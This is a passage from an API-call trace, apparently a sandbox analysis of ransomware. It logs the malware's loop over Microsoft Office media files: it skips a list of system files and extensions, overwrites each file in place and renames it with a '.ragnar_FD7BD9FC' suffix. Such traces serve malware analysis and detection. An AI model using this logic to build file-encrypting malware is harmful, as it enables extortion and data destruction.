0x59e7d0 [0096.032] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.033] VirtualAlloc (lpAddress=0x0, dwSize=0x239c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.033] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.033] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.033] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x239c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x239c, lpOverlapped=0x0) returned 1 [0096.034] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.034] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x239c, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.034] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x239c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x239c, lpOverlapped=0x0) returned 1 [0096.034] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x239c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.035] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.035] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x239c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.035] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.035] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.035] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.035] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.035] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.035] GetProcessHeap () returned 0x580000 [0096.035] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.035] CloseHandle (hObject=0x104) returned 1 [0096.035] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF" [0096.035] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF.ragnar_FD7BD9FC" [0096.035] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.036] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x616c5e00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x616c5e00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0xdafc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300912.WMF", cAlternateFileName="")) returned 1 [0096.036] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.036] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0300912.WMF" | out: lpString1="J0300912.WMF") returned="J0300912.WMF" [0096.036] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF") returned=".WMF" [0096.036] lstrcmpiW (lpString1="J0300912.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.036] lstrcmpiW (lpString1="J0300912.WMF", lpString2="autorun.inf") returned 1 [0096.036] lstrcmpiW (lpString1="J0300912.WMF", lpString2="boot.ini") returned 1 [0096.036] lstrcmpiW (lpString1="J0300912.WMF", lpString2="bootfont.bin") returned 1 [0096.036] lstrcmpiW (lpString1="J0300912.WMF", lpString2="bootsect.bak") returned 1 [0096.036] lstrcmpiW (lpString1="J0300912.WMF", lpString2="bootmgr") returned 1 [0096.036] lstrcmpiW (lpString1="J0300912.WMF", lpString2="bootmgr.efi") returned 1 [0096.036] lstrcmpiW (lpString1="J0300912.WMF", lpString2="bootmgfw.efi") returned 1 [0096.036] lstrcmpiW (lpString1="J0300912.WMF", lpString2="desktop.ini") returned 1 [0096.036] lstrcmpiW (lpString1="J0300912.WMF", lpString2="iconcache.db") returned 1 [0096.036] lstrcmpiW (lpString1="J0300912.WMF", lpString2="ntldr") returned -1 [0096.036] lstrcmpiW (lpString1="J0300912.WMF", lpString2="ntuser.dat") returned -1 [0096.036] lstrcmpiW (lpString1="J0300912.WMF", lpString2="ntuser.dat.log") returned -1 [0096.036] lstrcmpiW (lpString1="J0300912.WMF", lpString2="ntuser.ini") returned -1 [0096.037] lstrcmpiW (lpString1="J0300912.WMF", lpString2="thumbs.db") returned -1 [0096.037] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.037] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.037] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.037] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.037] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.037] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.037] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf")) returned 0x20 [0096.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.038] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=56060) returned 1 [0096.038] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xdaf3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.038] GetProcessHeap () returned 0x580000 [0096.038] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.038] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.039] VirtualAlloc (lpAddress=0x0, dwSize=0xdafc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.040] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.040] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.040] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xdafc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xdafc, lpOverlapped=0x0) returned 1 [0096.041] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.042] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdafc, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.042] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xdafc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xdafc, lpOverlapped=0x0) returned 1 [0096.042] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdafc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.042] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.043] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xdafc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.043] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.043] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.043] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.043] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.043] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.043] GetProcessHeap () returned 0x580000 [0096.043] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.043] CloseHandle (hObject=0x104) returned 1 [0096.043] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF" [0096.043] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF.ragnar_FD7BD9FC" [0096.043] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.044] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb340b00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb340b00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2fd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301050.WMF", cAlternateFileName="")) returned 1 [0096.044] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.044] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0301050.WMF" | out: lpString1="J0301050.WMF") returned="J0301050.WMF" [0096.044] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF") returned=".WMF" [0096.044] lstrcmpiW (lpString1="J0301050.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.044] lstrcmpiW (lpString1="J0301050.WMF", lpString2="autorun.inf") returned 1 [0096.044] lstrcmpiW (lpString1="J0301050.WMF", lpString2="boot.ini") returned 1 [0096.044] lstrcmpiW (lpString1="J0301050.WMF", lpString2="bootfont.bin") returned 1 [0096.044] lstrcmpiW (lpString1="J0301050.WMF", lpString2="bootsect.bak") returned 1 [0096.044] lstrcmpiW (lpString1="J0301050.WMF", lpString2="bootmgr") returned 1 [0096.044] lstrcmpiW (lpString1="J0301050.WMF", lpString2="bootmgr.efi") returned 1 [0096.044] lstrcmpiW (lpString1="J0301050.WMF", lpString2="bootmgfw.efi") returned 1 [0096.044] lstrcmpiW (lpString1="J0301050.WMF", lpString2="desktop.ini") returned 1 [0096.044] lstrcmpiW (lpString1="J0301050.WMF", lpString2="iconcache.db") returned 1 [0096.044] lstrcmpiW (lpString1="J0301050.WMF", lpString2="ntldr") returned -1 [0096.044] lstrcmpiW (lpString1="J0301050.WMF", lpString2="ntuser.dat") returned -1 [0096.044] lstrcmpiW (lpString1="J0301050.WMF", lpString2="ntuser.dat.log") returned -1 [0096.044] lstrcmpiW (lpString1="J0301050.WMF", lpString2="ntuser.ini") returned -1 [0096.044] lstrcmpiW (lpString1="J0301050.WMF", lpString2="thumbs.db") returned -1 [0096.044] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.044] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.044] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.044] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.044] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.045] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.045] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf")) returned 0x20 [0096.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.045] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12248) returned 1 [0096.045] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2fcf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.045] GetProcessHeap () returned 0x580000 [0096.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.045] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.047] VirtualAlloc (lpAddress=0x0, dwSize=0x2fd8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.047] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.047] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.047] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2fd8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2fd8, lpOverlapped=0x0) returned 1 [0096.048] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.048] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2fd8, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.048] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2fd8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2fd8, lpOverlapped=0x0) returned 1 [0096.048] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2fd8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.048] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.048] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2fd8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.048] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.048] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.049] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.049] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.049] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.049] GetProcessHeap () returned 0x580000 [0096.049] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.049] CloseHandle (hObject=0x104) returned 1 [0096.049] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF" [0096.049] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF.ragnar_FD7BD9FC" [0096.049] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.050] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf780800, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf780800, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x224e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301076.WMF", cAlternateFileName="")) returned 1 [0096.050] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.050] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0301076.WMF" | out: lpString1="J0301076.WMF") returned="J0301076.WMF" [0096.050] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF") returned=".WMF" [0096.050] lstrcmpiW (lpString1="J0301076.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.050] lstrcmpiW (lpString1="J0301076.WMF", lpString2="autorun.inf") returned 1 [0096.050] lstrcmpiW (lpString1="J0301076.WMF", lpString2="boot.ini") returned 1 [0096.050] lstrcmpiW (lpString1="J0301076.WMF", lpString2="bootfont.bin") returned 1 [0096.050] lstrcmpiW (lpString1="J0301076.WMF", lpString2="bootsect.bak") returned 1 [0096.050] lstrcmpiW (lpString1="J0301076.WMF", lpString2="bootmgr") returned 1 [0096.050] lstrcmpiW (lpString1="J0301076.WMF", lpString2="bootmgr.efi") returned 1 [0096.050] lstrcmpiW (lpString1="J0301076.WMF", lpString2="bootmgfw.efi") returned 1 [0096.050] lstrcmpiW (lpString1="J0301076.WMF", lpString2="desktop.ini") returned 1 [0096.050] lstrcmpiW (lpString1="J0301076.WMF", lpString2="iconcache.db") returned 1 [0096.050] lstrcmpiW (lpString1="J0301076.WMF", lpString2="ntldr") returned -1 [0096.050] lstrcmpiW (lpString1="J0301076.WMF", lpString2="ntuser.dat") returned -1 [0096.050] lstrcmpiW (lpString1="J0301076.WMF", lpString2="ntuser.dat.log") returned -1 [0096.050] lstrcmpiW (lpString1="J0301076.WMF", lpString2="ntuser.ini") returned -1 [0096.050] lstrcmpiW (lpString1="J0301076.WMF", lpString2="thumbs.db") returned -1 [0096.050] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.050] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.050] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.050] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.050] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.050] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.051] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf")) returned 0x20 [0096.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.051] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8782) returned 1 [0096.051] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2245, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.051] GetProcessHeap () returned 0x580000 [0096.051] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.051] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.053] VirtualAlloc (lpAddress=0x0, dwSize=0x224e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.053] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.053] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.053] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x224e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x224e, lpOverlapped=0x0) returned 1 [0096.054] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, 